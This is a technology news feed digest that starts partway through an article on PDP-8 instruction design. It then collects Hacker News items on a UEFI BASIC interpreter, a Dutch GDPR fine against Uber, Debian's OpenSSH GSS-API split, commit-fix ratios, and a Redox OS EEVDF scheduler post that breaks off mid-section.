You'll see some instructions in the PDP-8 that combine operations in one single instruction.

DCA Combines Store & Clear

Another PDP-8 instruction worth taking a closer look is DCA (Deposit & Clear Accumulator).

As the name suggests, it doesn't simply store AC into memory. It stores AC and then clears the accumulator.

Why would you design an instruction this way? Well, because it saves hardware and control steps!

After you've finished using the accumulator's value and deposited it into memory, there's often no reason to keep the old value around. So, the PDP-8 combines the two operations.

If two operations commonly happen together, make the hardware do them together.

ISZ Combines Increment & Branch

Another example of this approach of doing more than one thing per instruction is the ISZ instruction. In simple terms, the opcode is telling the CPU to increment memory location X, and skip the next instruction if the result is zero.

Why combine incrementing with branching? Because it gives you a very cheap loop primitive.

Imagine a counter that starts at some value and eventually wraps through zero.

ISZ COUNT JMP LOOP

If COUNT doesn't become zero, execution continues with the JMP . But if COUNT becomes zero, the processor skips the jump.

That's a loop! Two instructions.

Subroutines Don't Need a Stack

Modern CPUs generally make function calls feel like a fundamental operation. In most cases, you call a function and:

  • The CPU saves a return address
  • A stack pointer moves
  • The function returns

The PDP-8 does not have a conventional hardware stack.

Instead, JMS (Jump to Subroutine) uses memory.

The return address is stored in memory associated with the subroutine entry, and the subroutine can return using an indirect jump through that saved address.

What JMS Actually Does?

JMS stores the return address in ordinary RAM (at the first word of the subroutine) and then jumps to the next word; the subroutine returns with an indirect jump through that stored address.

Imagine we have the following code:

1000:  JMS  2000
1001:  ...       ; instruction after the call
1002:  ...
...
2000:  0         ; reserved word (12 bits) for the return address
2001:  ...       ; subroutine starts here
2002:  ...

Jumping to a Subroutine is effectively doing two things:

  • Store the current PC in memory location 2000
  • Jump to address 2001

The subroutine can then return by doing an indirect jump through location 2000:

    JMP I 2000

This means subroutine linkage is fundamentally a memory operation; there's no special call stack hardware hiding underneath it.

Note: because the return address is sitting in memory, PDP-8 programmers could exploit it for interesting tricks such as passing parameters inline after a subroutine call.

OPR: Instructions Made Out of Bits

The OPR opcdode is another extremely interesting parts of the PDP-8 architecture.

Rather than assigning every possible operation its own opcode, the PDP-8 uses individual bits inside an OPR instruction to request operations.

In other words, an instruction can effectively say:

clear AC + complement AC + rotate + ...

All within the same 12-bit instruction word. The combination of bits determines which micro-operations occur.

This is very different from the mental model many people have of assembly language. We often tend to think "one opcode, one operation."

The PDP-8 shows us another possibility, where the instruction bits act like a collection of hardware control signals.

In that sense, an OPR instruction is almost a tiny piece of microcode embedded directly in the instruction word.

I/O is Part of the Instruction Set

When we think of the PDP-8, the exact peripherals depended heavily on the model and configuration. A typical system could have things like:

  • Teletype terminal: keyboard input and printer output
  • Paper-tape reader: loading programs/data from punched tape
  • Paper-tape punch: producing punched tape
  • Printers
  • Card readers
  • Displays: point-plotting and storage-tube
  • Real-time clocks
  • Analog-to-digital converters
  • Disk storage
  • Magnetic tape
  • Various lab equipment connected to the system

The original PDP-8's console Teletype was commonly an ASR-33 , which combined a keyboard, printer, paper-tape reader, and paper-tape punch.

PDP-8 ASR-33

ASR-33 teletype console

The IOT Instruction

The PDP-8 doesn't have a modern peripheral bus with a huge standardized hierarchy of controllers. Instead, it has the IOT instruction.

The instruction word contains fields identifying an I/O device and an operation.

There are enough bits to select among a substantial number of device codes and operations, and the exact meaning of an IOT is determined by the connected device.

An IOT instruction has this general structure:

IOT instruction

There are 64 possible device codes because the device field is six bits wide.

Note: Some assemblers provide convenient mnemonics such as KSF (Keyboard Skip if Flag), KRB (Keyboard Read Buffer), and TSF (Teleprinter Skip if Flag). Although these look like separate instructions, they are actually all variations of the same IOT instruction. Each mnemonic simply represents a particular combination of device number and operation bits within the 12-bit IOT instruction. The assembler translates the mnemonic into the corresponding bit pattern for you.

The CPU Does Not Know About Peripherals

The CPU doesn't need to know what a printer, paper-tape reader, or oscilloscope actually is. So, you could add a new peripheral without adding a new fundamental CPU instruction.

It essentially says: "Here's an IOT instruction addressed to device 04. I'll put the appropriate signals on the I/O bus. If you've got hardware listening to that device number, you decide what to do."

How Fast was the PDP-8?

Well, that depends on which PDP-8 model we are talking about, since the family evolved considerably. But the original 1965 PDP-8 was extremely slow by modern standards—and surprisingly capable for its time.

The PDP-8 didn't work like a modern CPU where we'd say, for example, "3.5 GHz" and use that as a useful description of its performance. Its timing was closely tied to memory cycles.

The original PDP-8 had a basic memory cycle of about 1.5 μs. A typical memory-reference instruction required multiple memory cycles, so the effective instruction rate was on the order of hundreds of thousands of instructions per second, depending on the instruction and memory configuration.

An addition in the original PDP-8 could be performed in about 3 μs. The PDP-8/S took about 36 μs—roughly. The PDP-8/S's core-memory cycle was about 8 μs.

Model Era Performance
PDP-8 1965 ~3 μs per TAD
PDP-8/S 1966 ~36 μs per TAD

The PDP-8/S is clearly the odd one out in the above comparison. Observe the 36 μs addition value from the PDP-8/S. This illustrates exactly why the cheaper /S exists. Instead of building a 12-bit-wide datapath, DEC processed data serially , one bit at a time. This dramatically reduced the amount of hardware required, but at a price: an addition that took about 3 μs on the original PDP-8 took roughly 36 μs on the PDP-8/S. In other words, the 8/S traded hardware for time.

Later models, like the PDP-8/I and the PDP-8/E had around ~1.5 μs memory cicle.

Core Memory Changes the Way You Think About Time

The original PDP-8 used magnetic core memory , which stores bits using tiny magnetic cores threaded by wires.

magnetic core memory

PDP-8 magnetic core-memory module

Unlike modern RAM, this isn't a sea of microscopic transistors in a silicon chip. It's a physical grid of magnetic components.

This is why we mentioned the speed of the PDP-8 models in terms of memory cycles. Memory was slow enough that the processor's timing was strongly tied to the computer's memory cycle.

When you design a CPU today, we tend to think of the processor as the fast thing and memory as the slow thing. But in the PDP-8, the CPU itself is relatively simple, and much of the machine's rhythm is dictated by the memory technology.

Therefore, the physical implementation of memory had a direct influence on the timing of the processor.

Conclusion

The PDP-8 is a nice reminder of what's hiding underneath. If you are learning with us how basic computer circuits work, and if you can understand how a few logic gates can become an adder, and how an adder can become part of an ALU, and how an ALU and a handful of registers can become a CPU, then you've already understood a crucial part of what a computer really is. Everything else is another layer of abstraction.

That is exactly what makes machines like the PDP-8 so much fun to study! You can peel those layers back one at a time, until an assembly instruction like TAD A isn't mysterious anymore.

Another historical reason why the PDP-8 became so influential was that it was designed to be open . DEC's documentation and hardware information made the machine unusually accessible for the time. Universities and laboratories could study the machine, modify it, and build interfaces for it. Third-party hardware and specialized systems appeared around the architecture.

This mattered enormously. A computer that you can understand and modify becomes something different from a computer that you merely rent and operate.

  • Engineers could use the PDP-8 as a component in a larger system
  • Laboratories could connect their own instruments
  • Manufacturers could build specialized controllers
  • Students could learn how the machine actually worked

The PDP-8 was not just a computer we bought or rented. It was a computer we could build things around !


I wrote a BASIC interpreter that boots on UEFI machines and ported it to Windows

Hacker News
tarjan.itch.io
2026-08-23 13:48:12
Comments...
Original Article

Thoreau BASIC

A GW-BASIC–compatible interpreter that runs on bare metal (a Windows version is available, too).

The data segment is sized to the largest block of conventional memory the firmware (or Windows) reports, which on a modern machine is gigabytes.

Language

  • (mostly) GW-BASIC compatible. Programs load and save as ASCII.
  • Numeric types, including 32 and 64-bit integers ( % , & , && ), single and double precision, strings.
  • 32 bit wide line numbers.
  • DEF FN , GOSUB , ON…GOTO/GOSUB , DATA / READ / RESTORE , and the rest of the control flow.
  • Error trapping: ON ERROR GOTO , RESUME / RESUME NEXT / RESUME n , ERL , ERR , ON BREAK GOTO<br>

Graphics

  • PSET , LINE , CIRCLE , PAINT and friends at native framebuffer resolution. PSET, LINE and PAINT usable with 16 color EGA or 24 bit R,G,B syntax.
  • 16-color EGA palette and 24-bit color: COLOR r,g,b (and a background triple).
  • Bitmaps: LOADBMP slot, file$ reads a 24/32-bpp Windows .BMP into a data-segment slot; BITBLT slot, x, y [,key] blits it, with an optional transparent color key for sprites.
  • GRAMAXX / GRAMAXY (graphics) and TXTMAXX / TXTMAXY (text) are readable variables holding the actual bounds.
  • SCREEN x,y requests a mode. SCREEN 1024,768 works on almost every machine and is usually the boot mode; try your native resolution for a sharper picture. GRAMAXX / GRAMAXY update after a SCREEN command.

Text

  • IBM VGA 8×16 font, soft-scrolling console.
  • Multiple text windows: WINDOW @n, x1,y1,x2,y2 carves a region; PRINT @n , CLS @n , LOCATE @n and COLOR @n work inside it, each window with its own cursor and pen/paper. Plain PRINT still owns the whole screen.

Memory & hardware

  • A three-pointer memory model with no 64KB ceiling. Arrays in the billions of elements, if you want them.
  • PEEK , POKE , VARPTR , and readable pointers into the machine: LOMEM , HIMEM , FREEBOT , FREETOP , SCRNADR , GRAPITCH .
  • 64-bit HEX$ / OCT$ .

Disk I/O SAVE , LOAD , MERGE , FILES , KILL , running directly on the UEFI Simple File System.

Editing — full-screen EDIT , AUTO line numbering, and RENUM (renumbers and rewrites every GOTO / GOSUB / THEN / ELSE / ON… / RESTORE / RESUME / ERL reference).

Timing — the TIMER variable reads a high-precision clock from the CPU's invariant TSC.

New in v1.1.3

  • MID$ can be an assignment now
  • ERL wasn't stored and no error line was shown when a program exited with an error
  • INPUT: backspace didn't work right

New in v1.1.2

  • When available RAM was less than 4 GB, the Windows version bailed out.
  • BASIC lines are now fixed to 244 characters without line numbers.
  • EDIT/LIST bug: when line number was greater 32767 it showed an empty line 0 instead.

New in v1.1.1

  • Bare metal: Fixed the slow scrolling and writing to the framebuffer.
  • Win d ows: Added autostart. You may now call ThorauBASIC with a .bas filename attached, it will autostart.

New in v1.1

  • Much faster. A per-line token cache, a precedence-climbing expression evaluator, and variable-slot caching . Roughly 25× quicker on compute-heavy programs. The bundled Mandelbrot dropped from ~230s to under 10s, and Conway's Life now runs interactively. Lunar Lander runs at a fixed 100 fps now.
  • Bitmaps ( LOADBMP / BITBLT ), text windows with per-window color, ON ERROR / ON BREAK / RESUME , ERL / ERR , RENUM , and PEEK / POKE / VARPTR .
  • Correctness fixes: exact 64-bit integer math (overflow promotes to double), cleaner number formatting, and full-width HEX$ .

Download

Click download now to get access to the following files:

Development log

View all posts

Dutch regulator fines Uber $966M for automating driver suspensions

Hacker News
www.theguardian.com
2026-08-23 13:32:43
Comments...
Original Article

The Dutch data protection authority has fined ⁠Uber €825m ($966m) for deactivating driver ⁠accounts through automated systems without ​adequately informing them, according to a 17 August decision.

The penalty would be the second-largest issued yet under Europe’s General Data Protection Regulation (GDPR).

It is behind only a €1.2bn ($1.4bn) fine ⁠imposed on Meta by Ireland in 2023 for unlawfully transferring European Facebook users’ data to the United States. Meta is appealing.

Uber said it would also appeal.

“We strongly disagree with this decision and disproportionate fine,” a spokesperson ⁠said, adding that the company takes drivers’ rights seriously and its policies include both human reviews and opportunities for drivers to dispute platform suspensions.

The Dutch ​authority confirmed the decision later on Friday.

“Uber has committed ‌serious infringements” by deactivating driver accounts without ‌warning or human involvement, the organization’s deputy chair Monique Verdier said in a statement.

“From one moment to the next they no longer ‌had any income … A computer should not make decisions on its own that have (such) major consequences.”

European regulators have imposed billions of euros in penalties on large US technology companies in recent years under privacy, competition and digital market rules. The EU fined Google €890m ($1.04bn) for anti-competitive actions last month.

Meta, Google, Apple and Amazon all face multiple fines, though headline fines are often reduced or reversed after years-long appeals processes. Donald Trump has criticized such fines. In April, a US state department official said they were the “biggest ‌single source of friction” in US-EU economic relations.

GDPR rules ban decisions made solely by computer algorithms when they have a significant impact on people’s lives, such as on employment, saying such decisions require meaningful human review and a way to challenge a ​decision.

The case against Uber concerns European incidents from 2018 to 2022, stemming initially from a French complaint. It was handled by the Dutch regulator because Uber’s European headquarters are in the Netherlands .

skip past newsletter promotion

Uber temporarily suspended accounts of some drivers who were suspected of fraud, including when its systems concluded drivers had taken unnecessary detours to inflate fares or accepted trips without intending to complete them.

Uber said such suspensions were usually brief, and it did not ⁠permanently deactivate such accounts without human review.

Drivers with low customer ratings were sometimes permanently deactivated by ​computer, the Dutch agency said. Uber disputed that, ​saying it had never automated permanent deactivation decisions.

The ​company said one reason it considers the fine disproportionate is that only a small number of drivers were affected, ​with 126 having been deactivated ‌in Europe as a ​result of low customer ratings in ​2021.

The agency said the fine was calculated as a fraction of Uber’s 2025 annual turnover. Swiss digital-rights group PersonalData.IO – which helped French Uber drivers seek data about the algorithmic decisions affecting their work, eventually leading to the Dutch investigation – said it was pleased with the decision. Founder Paul-Olivier Dehaye said the group is preparing a class action suit against Uber seeking compensation for drivers.

We must not grant AI agents legal personhood

Hacker News
www.ft.com
2026-08-23 13:25:03
Comments...
Original Article

For help please visit help.ft.com . We apologise for any inconvenience.

The following information can help our support team to resolve this issue.

Reason
Challenge
Request ID
a2fc0b462a4a5ceb
Status Code
403

Colin Watson: GSS-API support split out from main Debian OpenSSH packages

PlanetDebian
www.chiark.greenend.org.uk
2026-08-23 13:16:11
In an option review I did in 2024, shortly after the xz-utils backdoor, I explained that having GSS-API authentication and key exchange support in the main OpenSSH packages is problematic. The key exchange patch is large and intrusive. Furthermore, even linking to the necessary libraries is not wi...
Original Article

In an option review I did in 2024, shortly after the xz-utils backdoor , I explained that having GSS - API authentication and key exchange support in the main OpenSSH packages is problematic. The key exchange patch is large and intrusive. Furthermore, even linking to the necessary libraries is not without risk: as the Ebury malware attack demonstrated way back in 2009, each extra library linked into security-critical daemons such as sshd (or nowadays into its privilege-separated helper programs) can modify the behaviour of the daemon even if you aren’t doing anything that would involve calling into that library. Of course some of that risk remains, but as Damien Miller wrote , minimizing the number of libraries that end up in the address space of sshd and friends is still valuable.

I just uploaded openssh 1:10.4p1-5 to unstable, completing this split. As of this version, the OpenSSH client and server are built without GSS - API authentication and key exchange support. If you need those features, install openssh-client-gssapi or openssh-server-gssapi instead, as appropriate. Debian 13 (trixie) already has packages with those names that just depend on the regular openssh-client and openssh-server so that you can pre-emptively install them, as documented in the release notes .

The new openssh-*-gssapi packages have relatively tight dependencies on openssh-common , in order for the testing migration system to ensure that we can’t forget to keep them up to date. This will mean a bit more ongoing work for me on each new upstream version, but I think it will be manageable.

Comments

With an account on the Fediverse or Mastodon, you can respond to this post . Since Mastodon is decentralized, you can use your existing account hosted by another Mastodon server or compatible platform if you don't have an account on this one. Known non-private replies are displayed below.

Learn how this is implemented here .

The Remote Work Challenge: Lessons from 5 Cities

Hacker News
www.pew.org
2026-08-23 13:15:36
Comments...

Erik Brynjolfsson says an AI "job apocalypse" is unlikely

Hacker News
wpintelligence.washingtonpost.com
2026-08-23 13:07:04
Comments...
Original Article
Timed out getting readerview for https://wpintelligence.washingtonpost.com/topics/ai-tech/2026/08/19/wpi-conversation-why-an-ai-job-apocalypse-is-unlikely/

A website for debloated open source alternatives

Hacker News
debloat.dev
2026-08-23 12:54:10
Comments...
Original Article

★ Featured

Linux Arctis Manager GPL-3.0
replaces SteelSeries GG / Sonar (Arctis headsets)
Manages SteelSeries Arctis headsets on Linux: ChatMix, battery, sidetone, without GG.
0 post(s) »

Newest

Project Replaces License Rating Posts
acer-predator-turbo Acer PredatorSense / NitroSense GPL-3.0 0
Asuswrt-Merlin ASUS stock router firmware / Trend Micro bloat GPL-2.0 0
ckb-next Corsair iCUE (keyboards, mice) GPL-2.0 0
scanservjs HP Smart / Epson Scan / Brother iPrint&Scan GPL-3.0 ★★★★ (2) 0
Nebula Tailscale / vendor overlay VPNs MIT ★★★★ (2) 2
Equalizer APO Realtek Audio Console bloat / Nahimic GPL-2.0 ★★★★ (2) 0
ptouch-rs Brother P-touch Editor MIT 0
Snapcast Sonos multiroom playback GPL-3.0 ★★★ (1) 0

Most discussed

Project Replaces License Rating Posts
ESPHome Tuya / vendor cloud firmware on ESP devices GPL-3.0 ★★★★★ (8) 4
G-Helper ASUS Armoury Crate GPL-3.0 ★★★★★ (5) 4
Syncthing Vendor cloud folder sync MPL-2.0 ★★★★★ (9) 4
Home Assistant Tuya / Kasa / Ring / SmartThings vendor apps Apache-2.0 ★★★★★ (4) 4
Immich Google Photos / Samsung Gallery cloud sync AGPL-3.0 ★★★★★ (8) 4
Jellyfin Plex / smart-TV vendor streaming ecosystems GPL-2.0 ★★★★★ (6) 3
QMK Vendor keyboard firmware and remap suites GPL-2.0 ★★★★★ (9) 3
Kodi Smart-TV built-in media apps GPL-2.0-or-later ★★★★★ (7) 3

Random picks

Project Replaces License Rating Posts
nbfc-linux Laptop vendor fan software GPL-3.0 ★★★★★ (3) 0
Macro Deck Elgato Stream Deck software Apache-2.0 ★★★★★ (1) 0
Gutenprint Vendor drivers for older and dye-sub printers GPL-2.0 ★★★★ (2) 2
StreamController Elgato Stream Deck software GPL-3.0 0
OpenWISP UniFi / Omada SDN controllers GPL-3.0 ★★★★★ (3) 1
node-hp-scan-to HP Smart Scan to Computer MIT 0
go2tv Chromecast / vendor TV cast apps MIT 0
wg-easy Vendor VPN apps / UniFi VPN UI AGPL-3.0 0

Are 15% of all commits fixes? (2025)

Lobsters
carvalho.sh
2026-08-23 12:46:02
Comments...
Original Article

tl;dr more like 10%.

I recently started a new job, and one of the first things I like to do soon after getting access to the repo is to check various statistics about it.

Things such as how old is the repo, how many total commits are there, who are the top committers, which files have been touched the most, whether merge-commits or a linear history is used, etc.

In particular, the proportion of "fix" commits is something I find very interesting. That is, out of all commits, how many are fixes. Which I'll refer to as "fix-ratio" from now on, for simplicity.

Across multiple repositories and in different companies, most productionized software I've come across seems to hover at around 15% of fix-ratio.

And as I ran the command in the main repo:

λ numbat -e $(git log --oneline | grep -iw fix | wc -l)/$(git rev-list --count --all)
0.148675

There it is. The good old 15%.

This left me wondering: Are repos in the wild also around that ballpark?

I went looking for a list of reasonably popular repos on GitHub, well aware that:

  • a) open-source and closed-source software (where I have observed the 15%) are different beasts;
  • b) not all popular repositories are applications. Many are simply mostly-text "awesome" lists;
  • c) any number of repositories that I can fetch in a reasonable amount of time will still be an unrepresentative sample.

I sourced the list from the top 200 repositories here .

Shrugging these caveats away, and 114GB later 1 , I was ready to calculate the answer.

Setup

First, I dumped the number of "fix" and total commits from each repo into output.csv .

Note that the script below depends on GNU Parallel .

# file: count.sh
#!/usr/bin/env bash
set -euo pipefail

function count_repo {
    repo=$1
    num_fixes=$(git -C $repo log --oneline | grep -iw fix | wc -l)
    num_commits=$(git -C $repo rev-list --count --all)
    echo $repo,$num_fixes,$num_commits
}
# export function to use it with 'parallel' below
export -f count_repo

function main {
    # write csv header
    echo 'repo,num_fixes,num_commits'
    # for each repo, count fixes and total commits
    find -maxdepth 1 -type d -execdir test -d {}/.git \; -print -prune |
        parallel --jobs 8 count_repo
}

main | tee output.csv
λ ./count.sh
repo,num_fixes,num_commits
[...]
./opencv,4338,36425
./next.js,5405,38047
./rust,28281,306211
./rails,11212,113647
./vscode,23092,145918
./tensorflow,18848,191525
./linux,198048,1369404

And then I computed the fix-ratio and analyzed the results with DuckDB. The SUMMARIZE command is very useful for these quick analyses.

# file: analyze.sql
.mode line

summarize
select num_fixes/num_commits as fix_ratio from 'output.csv';
λ duckdb < analyze.sql
    column_name = fix_ratio
    column_type = DOUBLE
            min = 0.0
            max = 0.35591287490021667
  approx_unique = 172
            avg = 0.10526396442532608
            std = 0.07332227658614995
            q25 = 0.05261715331694921
            q50 = 0.09326059309410577
            q75 = 0.14624197878941886
          count = 200
null_percentage = 0.00

Results

I didn't bother doing any kind of cleanup, so it's no wonder there is such a variation. But from this small sample of 200 open-source repos, it seems like the proportion of fix-commits is closer to 10% than it is to 15%.

What does this mean?

I don't feel as validated as I did in the other times I saw a ~15% ratio, but I think it's still a good guesstimate. If you're at a 10-20% fix-ratio, I imagine you probably sleep well and don't often wake up at 3AM to fix production. If the project you work on is a dumpster fire, I'm curious, what's your fix-ratio?

In general, should you care? Probably not.

Caveats

  • You need to use semantic commits somewhat, or at least include fix in the commit subject.
  • Merge-heavy repos probably don't follow this ratio very cleanly.

Takeaways

  1. Use GNU Parallel: it is a super handy tool .
  2. Use DuckDB, especially the SUMMARIZE command, for quick stats.
  3. Accept that ~10% of changes may require fixes.

  1. to be fair, 32.2GB is from nerd-fonts alone.

RSoC 2026: EEVDF for Redox

Lobsters
www.redox-os.org
2026-08-23 12:45:43
Comments...
Original Article
By Akshit Gaur on

First of all, read this post to get the background (Redox OS, basic scheduling, Round Robin and Deficit Weighted Round Robin Schedulers).

TL;DR

Redox OS now uses a EEVDF-based scheduler. The move from DWRR has netted us very significant gains in nearly every measure, a 782x improvement in fairness, a reduction of 82% in context switch time, 2.6x increase in throughput and more!!

A special thanks to Jacob Lorentzon (4lDO2) and Wildan Mubarok for the help and guidance they have provided throughout the journey, I don’t think this would have been possible without them or the others in Redox community that have helped me!

Sobriety in the Bar

Let’s see the situation we left our bar in the last post, VIPs are well fed (or well drunk??) with our Interleaved DWRR approach, unfortunately the poor masses are starving (being sober in a free-to-drink bar may be worse than starving)! And although we did not yet implement many complex heuristics like the neighbouring bar called “Linoox” had done many years ago, we would have had to, had we stuck with DWRR, because our bouncer would eventually need complex ‘heuristics’ (guessing games) to figure out when to cut off the VIPs so the regular folks don’t die of thirst. Our bartenders need to think again.

:::note Although this breaks the flow of the post, I would like to emphasise that I am not criticising Linux here, to avoid any misunderstanding. Linux used CFS for many years which was much more complex (and different) than a simple DWRR. It used complex heuristics to guess the nature of the application, which over the years became bloated. Linux replaced it with EEVDF, and it is after they have proved it, that we are even implementing it! :::

After much discussion the bartenders come up with a new system based upon a newer Tab system in which the bartenders keep track of the importance of the client and whether they actually deserve a beer at the moment.

The way they figure it out is using lag, they track exactly how many drinks they have poured out to you and how much you actually deserved! If you are owed beer, you have positive lag, if you drank too fast, you have negative lag! They keep track of it as your eligible time, the point in time, where your lag is no longer negative!

Although a poor man will tolerate some time where he does not have any beer in his hand despite being owed some (he is getting free drinks after all!), the more important the client is, the more impatient he will be. So the bartenders calculate the deadline for your next drink! The deadline is equal to your eligible time plus a baseline wait time divided by your importance (wait / w). The more important you are, the tighter the deadline!

What it results in is that the VIPs are not only owed more drinks, they get it as quickly as possible in their hands owing to their tighter deadlines, but the less important clients are not starving either as the introduction of the deadline system ensures they have a drink in their glasses before they become sober!

A formal introduction

Earliest Eligible Virtual Deadline First Scheduler, as evident by what a mouthful of a name it has, is certainly amongst the “best” schedulers, created by Ion Stoica and Hussein Abdel-Wahab in their 1995 paper “Earliest Eligible Virtual Deadline First : A Flexible and Accurate Mechanism for Proportional Share Resource Allocation”

I am going to try to explain it!

Assumptions

a. We can only assign the CPU to a process in a quantum of time, q .

b. A process is said to be active if it is competing for resources, passive otherwise. A process active at time t belongs to the Active Set, A(t) .

c. Each process has an associated weight with it w , that determines its share of resources f .

$$ f_i(t) = \frac{w_i}{\sum_{j \in A(t)} w_j} $$

d. Due to various reasons, it is not possible for a client to always receive exactly the service time it is entitled to. Thus we assign a value, lag , to this difference in time it should receive and it actually receives.

$$ lag_i(t) = \underbrace{S_i(t_0^i, t)}_{\text{Theor.}} - \underbrace{s_i(t_0^i, t)}_{\text{Actual}} $$

where

$$ \tag{1} S_i(t_1, t_2) = w_i \int_{t_1}^{t_2} \frac{1}{\sum_{j \in A(t)} w_j} d\tau $$

Prelude

A client/process issues a request which specifies the duration of service it needs, r . Therefore, in an ideal system we can solve for the deadline d before which the request must be serviced, given r (service duration) and t (time at which the request was made), by solving the equation-

$$ r = S(t, d) $$

Assuming that the share f of our process does not change in the interval,

$$ S(t, d) = f * (d - t) $$$$ r = f * (d - t) $$$$ d = t + \frac{r}{f} $$

Instead of clock time, EEVDF uses Virtual Time which is defined as follows-

$$ \tag{2} V(t) = \int_0^t \frac{1}{\sum_{j \in A(t)} w_j} d\tau $$

One nice property here is that the flow of this virtual time is inversely proportional to the current competition for the resources. When the competition is high, virtual time slows down, when it is low, it speeds up!

From 1 & 2,

$$ S(t_1, t_2) = w_i (V(t_2) - V(t_1)) $$

Algorithm

The basic idea behind EEVDF is quite simple, you associate two (more) numbers to each request (or client)-

  1. An eligible time e is the exact time that a request becomes eligible to be serviced-

    $$ S_i(t_0^i, e) = s_i(t_0^i, t) $$
  2. Deadline d , chosen such that the service the client receives between e and d is equal to the service time requested r , i.e.,

    $$ S_i(e, d) = r $$

    In other words, if the client started receiving its fair share exactly at e , d is the point in time by which its request would be fully served. One thing to keep in mind though is that this is a scheduling deadline rather than a hard real-time guarantee, it determines ordering between eligible requests.

Before we can use them though, we need to convert them to the virtual clock.

$$ V(e) = V(t_0^i) + \frac{s_i(t_0^i, t)}{w_i} $$$$ V(d) = V(e) + \frac{r}{w_i} $$

Now that we have all the values, we can finally define the policy! Quoted from the original paper-

EEVDF ALGORITHM . A new quantum is allocated to the client that has the eligible request with the earliest virtual deadline.

Now let us define Virtual Eligible Time and Virtual Deadline at $k^{th}$ request, ${ve}^{(k)}$ & ${vd}^{(k)}$,

$$ ve^{(1)} = V(t_0^i), $$$$ vd^{(k)} = ve^{(k)} + \frac{r^{(k)}}{w_i} $$$$ ve^{(k + 1)} = vd^{(k)} $$

If for some reason (eg., early yield or block) the service time it actually received during the $k^{(th)}$ request ($u^{(k)}$) is not equal to $r^{(k)}$, we only need to change the last equation,

$$ ve^{(k + 1)} = ve^{(k)} + \frac{u^{(k)}}{w_i} $$

If a client does not consume its entire slice, its next $ve$ and $vd$ are brought forward giving it precedence over an identical process that did consume its slice fully.

So to reiterate the policy by which we select the next client to serve, we choose the client with positive (or zero) lag (i.e., S i >= s i ) with the earliest deadline!

Implementation in Redox

I am going to walk you through the select_next_context function that contains the actual scheduling logic. One thing to keep in mind is that we do not explicitly calculate lag (signed variable), instead store the local V(t) of the context which is proportional to $s_i$, thus

$$ lag = V_{global} - V_{local} $$

Keep in mind that this is virtual/normalised lag. If you want absolute lag,

$$ lag_i = w_i * (V_{global} - V_{local}) $$

Can we still run the previous client?

The first thing we do is check whether we can still run the previous context/client. This helps us if no other context is eligible to run. We also update its ve ( vtime in the code) and vd here.

If it yielded early, we apply a penalty (inversely scaled to its weight/priority) to prevent processes from repeatedly yielding early to manipulate their lag and monopolise CPU time.

We also figure out if the prev_context is still eligible to run ( vtime < V ).

The walk through the tree

All the runnable/active contexts are stored in a BTreeMap stored per-core. The BTreeMap has ( vd , rem_slice (remaining slice of service time), ctxt_id ) as its key, which ensures that the map is sorted first with vd and uses the remaining slice (out of BASE_SLICE , the amount of time, in terms of context switch invocations, a client is allocated CPU time) as a tie breaker, and their id as a last resort. This ensures that amongst two contexts with the same virtual deadline, the one which has already started running and not completed its slice is preferred!

The values of the BTreeMap are ( vtime , context_weight and context_ref ). Although vtime and context_weight are accessible after locking context_ref , storing them explicitly allows us to quickly see if the context is eligible without locking, which improves the performance at the cost of some minor storage amount.

We walk through this BTreeMap, and as soon as we find an eligible context ( vtime <= V ), we break the walk and switch to it!

:::note The original paper describes an augmented tree for this, which we do not use right now because of its added implementation complexity. I opted to use the standard BTreeMap as it is quite optimised and a standard component. Had I chosen to create an augmented tree myself, there would have been more opportunities for bugs to sneak in while I was sleeping. Regardless, most of the time, a simple BTreeMap should perform similarly to the augmented tree. It is only in the worst case scenario (no/minimal eligible contexts) that the augmented tree gets an edge in the time complexity (O(logN) vs O(N)), but given the length of the trees in real-world usage and its cache friendliness, I decided BTreeMap was good enough for now . :::

In case that there is no eligible context present in the tree, we find the context with the minimum vtime , and fast-forward our per-core V to its value, thus making it eligible to run, this ensures that we do not idly waste the CPU cycles.

Work Stealing

With the move to per-core residence of our data-structures, it is now possible for one core to have no contexts in its BTreeMap while another core is fully loaded!! To prevent this, we implement work-stealing!

Work Stealing triggers in the following cases-

  1. The BTreeMap of our current core is empty.
  2. Once every STEAL_INTERVAL with the added condition that the difference between the number of contexts in our tree and any other core is > STEAL_THRESHOLD .

If triggered we calculate the number of contexts to steal from core X as

Num of Contexts to Steal (N) = min((X.queue.len() - local.queue.len()) / 2, MAX_STEAL)

We then steal the first N (interspersed, i.e., 1st, 3rd, 5th…) contexts from the tree of X to our own tree and adjust their vtimes using

$$ offset = context.vtime - X.V $$$$ context.vtime = max(0, local.V + offset) $$

Advancing the virtual clock

When all this is done and dusted, we finally advance our virtual clock!

$$ V_{\text{local}} \mathrel{+}= \frac{\text{elapsed\_ticks}}{\text{total\_weight}} $$

Other Optimisations

Apart from changing the scheduler from DWRR to EEVDF, I also did the following optimisations that were significant.

Moving RUN_CONTEXTS from GLOBAL to PerCPU

A global run queue meant that two cores could not context switch at the same time and had to wait for the earlier core to release the lock. This meant that as the number of cores increased, so did the lock contention and thus, the time taken for a context switch. This MR provided each core with its own separate run queue. It also implemented the work stealing made necessary with this change!

Moving RUN_CONTEXTS from VecDeque to a BTreeMap

The initial implementation of EEVDF used a simple VecDeque to store the active contexts. This MR changed that to a BTreeMap dropping the time complexity of the scan from O(N) to O(logN).

Removing Linear Scan

This is how we handled blocked tasks earlier-

  1. When a context blocked, it was removed from the RUN_CONTEXTS and moved to another global list, IDLE_CONTEXTS .
  2. On each context switch, we would scan through the IDLE_CONTEXTS , and check if any context became runnable, moving them from IDLE_CONTEXTS to global RUN_CONTEXTS .

These blocked tasks were of two types, timers and non-timers, so it was handled in two passes.

Timers:

We separated the timers and now store them in a BTreeSet which allows us to extract all the timers that will fire at the current instant. (Relevant MR ). Thus the time complexity was reduced from O(N) to O(logN).

Non-timers:

Earlier, the unblocking code only switched the flag to mark a context as Runnable, now that code is also responsible for actually placing the context in the run queue, reducing the time complexity from O(N) to O(1)! (Relevant MR )

Did it change anything?

Now, lets take a look at the numbers to actually quantify what this change in scheduler resulted in!

Fairness

Fairness (along with the next section) are the clearest wins for our migration. I spun up 16 identical CPU-bound processes that do nothing except increment their counter, at the end we compare these counters to get an estimate for their CPU-time. Variance is min/max deviation here-

Setup DWRR Variance EEVDF Variance
16 procs / 4 cores 389-617% 1.09-1.37%
16 procs / 1 core 1940.52% 2.48%

A 782x improvement in fairness!!

Context Switch Times

Not directly from the move to EEVDF, but the associated move of the RunQueue from a Global to per-core state, allowed the time required for a voluntary ( yield_now ) context switch to drop from 2µs down to 350ns (Do note that these values contain some overhead from the testing harness too, so the real numbers are probably less than reported)!!

For blocking context switches, see the table below,

